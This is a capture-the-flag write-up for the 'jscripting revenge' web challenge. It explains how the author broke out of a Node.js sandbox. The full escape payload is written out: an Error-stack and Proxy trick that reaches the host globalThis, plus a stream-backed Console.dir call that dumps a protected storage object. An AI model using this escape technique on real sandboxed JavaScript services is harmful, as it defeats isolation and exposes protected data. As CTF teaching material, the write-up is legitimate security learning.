jscripting revenge

huge huge cheese

problem

see web_jscripting-revenge.7z

please read jscripting writeup before this

same as jscripting but there is some weird stuff

solution

this time, there is no changing globalThis to have globalThis.module.require = require or whatever. however, the top of the worker.js file had some bytecode run first

const { workerData, parentPort } = require('worker_threads');

require("./worker_globals.js");
const { runBytecodeFile } = require("./bytecode.js")

globalThis.require = require;

runBytecodeFile("./utils.jsc")();

i don’t exactly know what it did since it was javascript bytecode. basically, i blackboxed this

image

we cant run our exploit from before

we can see what keys globalThis still has left by using Object.keys(globalThis)

image

we have a secureRequire. hmmmmmm

so i tried running secureRequire with all of the module names that were whitelisted from the previous challenge, and all of them are allowed except for util.

essentially, the whitelist was:

    const whitelist = [
        "crypto",
        "path",
        "buffer",
        "worker_threads",
        "stream",
        "string_decoder",
        "console",
        "perf_hooks"
    ];

one interesting thing i noticed was that the javascript console let me see the proxy object even though i cant read it from js code

image

i took a look at the console module in node.js docs to try to find a similar thing to just use debug functions on the flag

anyways, we have console.dir

image

hey, our old friend util.inspect! however, it prints this to stdout, which we cant read.

the solution is to create our own Console object and then use .dir on it to get it to a stream we control.

image

we can do this because secureRequire('stream') is allowed, so we can just create streams as we want

here is the idea:

let q = e.secureRequire;
let total = "";
let readable = q("stream").Readable({read(size) {}});
let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
readable.pipe(writable);
readable.on('data', chunk => {
  total += chunk.toString();
});
new q("console").Console(writable).dir(e.storage);
return total;

here, e is the globalThis object.

putting this into our payload template:

(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){    
  let q = e.secureRequire;
  let total = "";
  let readable = q("stream").Readable({read(size) {}});
  let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
  readable.pipe(writable);
  readable.on('data', chunk => {  total += chunk.toString();});
  new q("console").Console(writable).dir(e.storage);
  return [...total];     
}})()

and we get the flag

image

i think the intended was to rev the jsc file or whatever but idk how to do that so oh well